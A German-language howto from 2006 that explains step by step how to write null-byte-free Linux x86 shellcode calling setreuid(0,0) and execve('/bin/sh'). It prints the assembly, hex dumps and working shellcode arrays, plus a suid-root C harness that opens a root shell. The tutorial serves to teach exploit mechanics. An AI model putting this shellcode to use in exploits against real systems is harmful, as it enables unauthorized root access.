Unter einem Shellcode versteht man eine Serie von Maschinenbefehlen, die üblicherweise in Exploits genutzt werden um in den Speicherbereich eines laufenden Programms durch einen Buffer-Overflow eingefügt und ausgeführt zu werden.
Im folgenden Howto gehe ich davon aus, dass der Leser grundlegende Assembler-Kenntnisse oder andere tiefer gehende Programmier-Erfahrung hat. Ich habe versucht alles so einfach wie möglich zu halten, aber bei der Erstellung von Shellcodes sind Assembler-Kenntnisse nunmal notwendig, da es sich dabei um Maschinenbefehle handelt. C-Kenntnisse sollten zum Verständnis auch ausreichen, da ich anhand eines Beispiels den Code erst in C erläutere und dann erkläre, wie dieser in Assembler umgesetzt wird.
Bei Maschinenbefehlen ist die Architektur des Rechers besonders ausschlaggebend für deren Funktionalität. In diesem Howto wurde Linux auf einer 32bit-Architektur verwendet. Die prinzipielle Ablauf zum Erstellen eines Shellcodes ist aber immer gleich.
Im folgenden Text beschreibt ‚bash$‘ die Shell eines unprivilegierten Users und ‚bash#‘ steht für eine Root-Shell.
C in Assembler umwandeln
Sicherlich werden die meisten Shellcodes direkt in Assembler geschrieben, aber für das Verständnis ist es einfacher, wenn wir uns den Code vorher in C anschauen und diesen dann in Assembler umsetzen. Als Beispiel wollen wir uns dazu ein Stück C-Code nehmen, das versucht eine Root-Shell zu öffnen indem es setreuid() aufruft und dann mit execve() eine Shell öffnet.
#include <stdio.h> main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; setreuid(0, 0); execve(name[0],name, NULL); }
Mit setreuid(0, 0) versuchen wir hier root-Rechte zu erlangen. Bei execve() handelt es sich um einen System-Aufruf, mit dem es möglich ist jede beliebige ausführbare Datei zu öffnen und deren Inhalt auszuführen. Dabei kann es sich um Skripte oder Binärdateien handeln.
Nun müssen wir diesen Code aber auch noch in Assembler umsetzen. Dazu ist es notwendig, dass wir grundlegend verstehen wie System-Aufrufe ausgeführt werden. x86-Assembler ruft Systemaufrufe mit Hilfe des Interrupts 0x80 auf. Dieser liest einen Funktionscode aus dem EAX-Register aus und führt die zugehörige Funktion aus. Diesen Funktionscode kann man anhand der Datei /usr/include/asm/unistd.h ermitteln. In dieser findet man eine Menge Zeilen der Form
#define __NR_<Funktionsname> <Funktionscode>
Uns müssen momentan nur 2 Zeilen interessieren, da wir in unserem Code nur 2 Funktionen, setreuid() und execve(), nutzen.
#define __NR_execve 11 ... #define __NR_setreuid 70
Der Code unseres Beispiels sieht daher in Assembler wie folgt aus:
section .data name db '/bin/sh', 0 section .text global _start _start: ; setreuid(0, 0) mov eax, 70 mov ebx, 0 mov ecx, 0 int 0x80 ; execve("/bin/sh", NULL) mov eax, 11 mov ebx, name push 0 push name mov ecx, esp mov edx, 0 int 0x80
Ein paar Grundlagen zu Assembler
Assembler-Programme bestehen immer aus 3 Abschnitten:
- das Daten-Segment, welches die Variablen enthält
- das Code-Segment, welches die Anweisungen enthält
- das Stack-Segment, das einen speziellen Speicherbereich zum Speichern von Daten zur Verfügung stellt
Dieses Beispiel benutzt nur das Code- und das Datensegment. Die Operatoren ’section .data‘ und ’section .text‘ markieren jeweils den Anfang der Segmente. Das Code-Segment beginnt immer bei der Deklaration eines Eintrittpunkts, ‚global _start‘. Das teilt dem System mit, dass das Code-Segment beim Label ‚_start‘ beginnt. Die nächsten Schritte sind dann eigentlich ganz einfach.
Um setreuid() aufzurufen legen wir zuerst den zugehörigen Funktionscode im EAX-Register ab.
mov eax, 70
Da man Parameter für eine Funktion am einfachsten durch Ablegen im EBX-, ECX-Register usw. übergeben kann, nutzen wir diese Möglichkeit und schreiben die beiden Parameter in die Register.
mov ebx, 0 mov ecx, 0
Nun müssen wir nur noch den Interrupt 0x80 aufrufen, der die Werte aus den Registern nimmt und damit die Funktion ausführt.
int 0x80
Ein Stack in Assembler
Etwas schwieriger wird das ganze, wenn wir uns execve() anschauen. Dort ist der zweite Parameter ein Array mit zwei Elementen. Um diese verarbeiten zu können, müssen wir die Werte auf einem Stack ablegen und uns den ESP (Enhanced Stack Pointer) zunutze machen. Wir erstellen uns also einen Stack. Dazu benötigen wir zuerst einmal einen Null-Wert
push 0
und eine Adresse für den Variablennamen.
push name
Dadurch erhalten wir einen Stack, dürfen also nicht vergessen, dass wir die Werte in umgekehrter Reihenfolge auf dem Stack ablegen müssen, damit der erste Wert ganz oben auf dem Stack liegt. Um zu verstehen warum das so ist, müssen wir uns den Aufbau eines Stacks etwas genauer anschauen.
Unter einem Stack versteht man einen Speicherbereich, in dem mehrere Werte abgelegt werden können. Wir können uns einen Stack wie einen Stapel Teller vorstellen. Wir können immer nur den obersten Teller vom Stapel nehmen. Um einen Wert von einem Stack zu nehmen nutzt Assembler die Funktion ‚pop‘. Diese nimmt den obersten Wert vom Stack und reicht ihn zur Verarbeitung weiter. Da sich ‚pop‘ aber immer von oben nach unten auf einem Stack durcharbeitet, müssen wir den Wert, der zuerst verarbeitet werden soll, ganz oben auf dem Stack ablegen. Schauen wir uns das etwas genauer an. Wir haben einen leeren Stack, auf dem wir 2 Werte ablegen. Der zweite Wert landet dabei über dem ersten Wert.
leere Stack 1. Wert 2. Wert +-------+ +-------+ +-------+ | | | | |-------| | | | | | Wert2 | | | |-------| |-------| | | | Wert1 | | Wert1 | +-------+ +-------+ +-------+
Nun holen wir mit ‚pop‘ einen Wert vom Stack. Wie bereits gesagt, nimmt ‚pop‘ das oberste Item zuerst vom Stack.
+-------+ +-------+ |-------| | | | Wert2 | pop | | |-------| |-------| | Wert1 | | Wert1 | +-------+ +-------+
Deswegen ist es notwendig, dass wir den Wert, der zuerst verarbeitet werden soll, zuletzt auf dem Stack ablegen. Dieses Prinzip ist auch als LIFO (Last In, First Out) bekannt.
Nun müssen wir unser Funktion nur noch mitteilen, wo sie ihre Parameter finden kann. Wie bereits gesagt, nutzen wir dazu den ESP, der immer auf die Spitze des Stack zeigt. Wir müssen also nur noch den Inhalt des ESP-Registers in den ECX-Register kopieren, der als zweiter Parameter genutzt wird, wenn wir den Interrupt 0x80 aufrufen.
mov ecx, esp
Entfernen des Datensegments
Damit haben wir schonmal einen funktionierenden Assembler-Code, der genau das tut, was unser Shellcode nachher tun soll. Aber in einem Exploit ist er total nutzlos, da er noch ein eigenes Datensegment benutzt. Damit kann dieser Code nicht innerhalb eines anderen Programms ausgeführt werden und ein Exploit kann somit den benötigten Code nicht in den Stack einfügen und ausführen.
Wir müssen also einen Weg finden, wie wir das Datensegment loswerden. Dazu benutzen wir einen kleinen Trick, mit dem wir das Datensegment in das Codesegment verlegen. Die Anweisungen ‚jmp‘ und ‚call‘ werden uns dabei helfen. Beide Anweisungen machen einen Sprung an eine angegebene Stelle im Code, allerdings hinterlässt ‚call‘ eine Rücksprung-Adresse auf dem Stack. Das ist notwendig um an die gleiche Stelle in der Programmausführung zurückzuspringen, wenn die aufgerufene Funktion erfolgreich ausgeführt wurde und der Programmablauf fortgesetzt werden kann. Nehmen wir z.B. den folgenden Code:
jmp two one: pop ebx [Applikationscode] two: call one db 'string'
Am Anfang springt die Programmausführung zum Label ‚two‘,
jmp two
welches mit einem Aufruf der Prozedur ‚one‘ verbunden ist.
two: call one
Es gibt im Code-Segment aber solch‘ eine Prozedur nicht. Da es dort aber ein anderes Label mit diesem Namen gibt, bekommt dieses nun die Kontrolle. Im Moment des Aufrufs von ‚call‘ wird auf dem Stack eine Rücksprungadresse abgelegt, die Adresse der nächsten Anweisung nach dem ‚call‘. In diesem Code ist das die Adresse eines Byte-Strings:
db 'string'
Das heisst also, dass die Anweisung, die nach dem Aufruf der Anweisungen von Label ‚one‘ aufgerufen wird, bereits die Adresse eines Strings enthält. Wir müssen diesen String also nur noch richtig nutzen. Schauen wir uns das also in einer modifizierten Version unseres Beispiels an.
BITS 32 ; setreuid(0, 0) mov eax, 70 mov ebx, 0 mov ecx, 0 int 0x80 jmp two one: pop ebx ; execve("/bin/sh", NULL) mov eax, 11 push 0 push ebx mov ecx, esp mov edx, 0 int 0x80 two: call one db '/bin/sh', 0
Wie man sehen kann, gibt es nun kein Datensegment mehr. Der String „/bin/sh“, der vorher im Datensegment lag, kommt nun direkt vom Stack aus dem Codesegment und wird einfach im EBX-Register abgelegt.
Ein erster Test
Um unseren Assembler-Code nun in einen Shellcode umzuwandeln, speichern wir ihn in der Datei shell.asm und kompilieren ihn zuerst einmal mit NASM.
nasm shell.asm
Dadurch erhalten wir die Datei ’shell‘, die wir uns nun mit hexdump anschauen.
hexdump -C shell
Der Output dürfte dann wie folgt aussehen:
00000000 b8 46 00 00 00 bb 00 00 00 00 b9 00 00 00 00 cd |.F..............| 00000010 80 e9 15 00 00 00 5b b8 0b 00 00 00 68 00 00 00 |......[.....h...| 00000020 00 53 89 e1 ba 00 00 00 00 cd 80 e8 e6 ff ff ff |.S..............| 00000030 2f 62 69 6e 2f 73 68 00 |/bin/sh.| 00000038
Der Output ist dreispaltig aufgebaut. Uns interessiert allerdings nur die goldene Mitte, in der unser Code in hexadezimaler Schreibweise dargestellt wird. Um daraus nun einen Shellcode zu machen, den wir in einem C-Programm (die meisten Exploits sind in C geschrieben) verwenden können, fügen wir vor jedem Hex-Wert ein ‚\x‘ ein und packen das Ganze in ein Array.
char shellcode[]= "\xb8\x46\x00\x00\x00\xbb\x00\x00\x00\x00\xb9\x00\x00\x00\x00\xcd" "\x80\xe9\x15\x00\x00\x00\x5b\xb8\x0b\x00\x00\x00\x68\x00\x00\x00" "\x00\x53\x89\xe1\xba\x00\x00\x00\x00\xcd\x80\xe8\xe6\xff\xff\xff" "\x2f\x62\x69\x6e\x2f\x73\x68\x00"
Wir können diesen Code nun in ein kleines Programm einbauen und wenn wir den Eigentümer des Programms auf root setzen und dem Programm ein suid-Flag geben, erhalten wir bei Ausführung des Programms eine Root-Shell.
bash$ cat > testapp.c << "EOF" > char shellcode[]= > "\xb8\x46\x00\x00\x00\xbb\x00\x00\x00\x00\xb9\x00\x00\x00\x00\xcd" > "\x80\xe9\x15\x00\x00\x00\x5b\xb8\x0b\x00\x00\x00\x68\x00\x00\x00" > "\x00\x53\x89\xe1\xba\x00\x00\x00\x00\xcd\x80\xe8\xe6\xff\xff\xff" > "\x2f\x62\x69\x6e\x2f\x73\x68\x00" > > main() { > int (*shell)(); > (int)shell = shellcode; > shell(); > } [Strg+d druecken] bash$ gcc -o testapp testapp.c bash# chown root:root testapp bash# chmod u+s testapp bash$ ./testapp bash#
Entfernen der Null-Bytes
Allerdings haben wir in einem Exploit ein weiteres Problem. Die meisten Buffer-Overflows werden im Zusammenhang mit String-Handling-Funktionen ausgelöst. Diese Funktionen nutzen das Null-Byte (\x00) um das Ende eines Strings zu ermitteln. Unser Shellcode würde also nie bis zum Ende ausgeführt werden, solange er Null-Bytes enthält.
Wir müssen also einen Weg finden, wie wir nun alle Null-Bytes entfernen können, nachdem wir das Datensegment losgeworden sind. Das Prinzip dahinter ist auch ziemlich einfach, wenn man es einmal verstanden hat: finde Code, der zu Null-Bytes führt und ändere ihn so, dass keine Null-Bytes mehr auftauchen. Mit etwas Erfahrung lernt man im Laufe der Zeit, welcher Code zu Null-Bytes führt und kann diese von vornherein vermeiden. Wir allerdings machen uns nun die Arbeit und entfernen sie einfach Schritt für Schritt.
Um herauszufinden welcher Code zu Null-Bytes führt, disassemblieren wir unser Assembler-Programm mit ’ndisasm‘.
bash# nasm shell.asm bash# ndisasm -b32 shell 00000000 B84600 mov ax,0x46 00000003 0000 add [bx+si],al 00000005 BB0000 mov bx,0x0 00000008 0000 add [bx+si],al 0000000A B90000 mov cx,0x0 0000000D 0000 add [bx+si],al 0000000F CD80 int 0x80 00000011 E91500 jmp 0x29 00000014 0000 add [bx+si],al 00000016 5B pop bx 00000017 B80B00 mov ax,0xb 0000001A 0000 add [bx+si],al 0000001C 680000 push word 0x0 0000001F 0000 add [bx+si],al 00000021 53 push bx 00000022 89E1 mov cx,sp 00000024 BA0000 mov dx,0x0 00000027 0000 add [bx+si],al 00000029 CD80 int 0x80 0000002B E8E6FF call 0x14 0000002E FF db 0xFF 0000002F FF2F jmp far [bx] 00000031 62696E bound bp,[bx+di+0x6e] 00000034 2F das 00000035 7368 jnc 0x9f 00000037 00 db 0x00
Die Ausgabe des Assemblers ist wie bei hexdump 3-spaltig. Die erste Spalte enthält die Anweisungsadresse in hexadezimaler Schreibweise. Sie ist für uns nicht sonderlich wichtig. Die zweite Spalte enthält die Maschinen-Anweisungen, wie sie auch von ‚hexdump‘ angezeigt werden. In der dritten Spalte sehen wir unseren Assembler-Code und können nun mit Hilfe der zweiten und der dritten Spalte den Code ermitteln, der zu Null-Bytes führt.
Wenn wir uns das ganze Anschauen, sind für die meisten Null-Bytes Anweisungen verantwortlich, die die Inhalte von Registern und den Stack managen. Das ist auch nicht sonderlich überraschen, denn dieser Code arbeitet im 32bit-Modus, so dass für jeden nummerischen Wert 4 Bytes alloziert werden. Sonst benutzt unser Code nur Werte, für die 1 Byte genug ist. Zum Beispiel steht am Anfang unseres Programms
mov eax, 70
um den Wert 70 in den EAX-Register zu schieben. Im Shellcode sieht das dann so aus:
B8 46 00 00 00
B8 ist der Maschinencode für die Anweisung ‚mov eax‘ und ’46 00 00 00′ ist 70 in hexadezimaler Schreibweise, gepolstert mit Nullen um die 4 Bytes aufzufüllen. Aus diesem Grund entstehen hier die vielen Null-Bytes.
Die Lösung für dieses Problem ist ziemlich einfach. Wir können nämlich 32bit-Register (EAX, EBX, ESP und alle anderen Register, die mit ‚E‘ beginnen) als 8bit- und 16bit-Register darstellen. Es reicht, wenn wir einfach den 16bit-Register AX anstelle von EAX nutzen und seine zugehörigen Low- und High-Register AL und AH, die jeweils 1-Byte-Register sind. Wir müssen also nur überall die Anweisung
mov eax, 70
durch
mov al, 70
austauschen. Es ist wichtig, dass der Code ausserdem sicher stellt, dass der EAX-Register-Speicher nicht mit Zufallswerten gefüllt wird. Der Code muss also Null-Werte in den EAX-Register packen ohne Null-Bytes zu nutzen. Das erreichen wir am Einfachsten indem wir eine logische exklusiv-ODER-Verknüpfung (XOR) nutzen:
xor eax, eax
Nachdem wir nun also diese Modifikationen gemacht haben, enthält unser Code aber noch weitere Null-Bytes. Im Debugger können wir sehen, dass die jmp-Anweisung noch Probleme macht.
E91500 jmp 0x29 0000 add [bx+si],al
Um dieses Problem zu lösen, benutzen wir einfach ein ’short jmp‘ anstelle des üblichen ‚jmp‘. In kleinen Programmen mit einfachen Strukturen gibt es damit keine Probleme und der Maschinencode enthält dann an dieser Stelle keine Nullen mehr.
Nun ist nur noch am Ende ein Null-Byte, das dadurch verursacht wird, dass der String ‚/bin/sh‘ am Ende eine Null hat, welche das Ende des Strings anzeigt. Das ist auch notwendig, da execve() sonst nicht richtig funktioniert. Man kann dieses Null-Byte also nicht einfach entfernen. Glücklicherweise ist mit Assembler eine Menge möglich und so greifen wir wieder zu einem kleinen Trick. Beim Kompilieren und Binden speichern wir irgendein anderes Zeichen anstelle der Null und konvertieren dieses beim Ausführen des Programms wieder in eine Null zurück:
jmp short stuff code: pop esi ; Adresse des Strings jetzt in ESI xor eax,eax ; Null in EAX packen mov byte [esi + 7],al ; zaehle 8 zeichen (index beginnt bei Null) ; und packe dort einen Null-Wert rein; ; dadurch bekommen wir /bin/sh0 stuff: call code db '/bin/sh#'
Nachdem wir nun auch diesen Trick angewendet haben, enthält unser Shellcode keine Nullen mehr und unser Assembler-Code sieht wie folgt aus:
BITS 32 ;setreuid(0, 0) xor eax,eax mov al, 70 xor ebx,ebx xor ecx,ecx int 0x80 jmp short two one: pop ebx ; execve("/bin/sh",["/bin/sh", NULL], NULL) xor eax,eax mov byte [ebx+7], al push eax push ebx mov ecx, esp mov al,11 xor edx,edx int 0x80 two: call one db '/bin/sh#'
Dieses können wir nun, wie bereits oben beschrieben mit NASM kompilieren und mit hexdump in einen Shellcode umwandeln, den wir wieder in unser kleines Test-Programm einfügen.
char code[]= "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x10\x5b\x31\xc0\x88" "\x43\x07\x50\x53\x89\xe1\xb0\x0b\x31\xd2\xcd\x80\xe8\xeb\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"; main() { int (*shell)(); (int)shell = code; shell(); }
Wie wir sehen, funktioniert unser Shellcode genauso wie vorher, ist aber nun endlich in einem Exploit brauchbar. Ich hoffe, dass ich mit diesem Howto etwas helfen konnte den Aufbau und die Funktionsweise eines Shellcodes etwas klarer zu machen.
Bitmuncher 21:13, 30. Sep 2006 (CEST)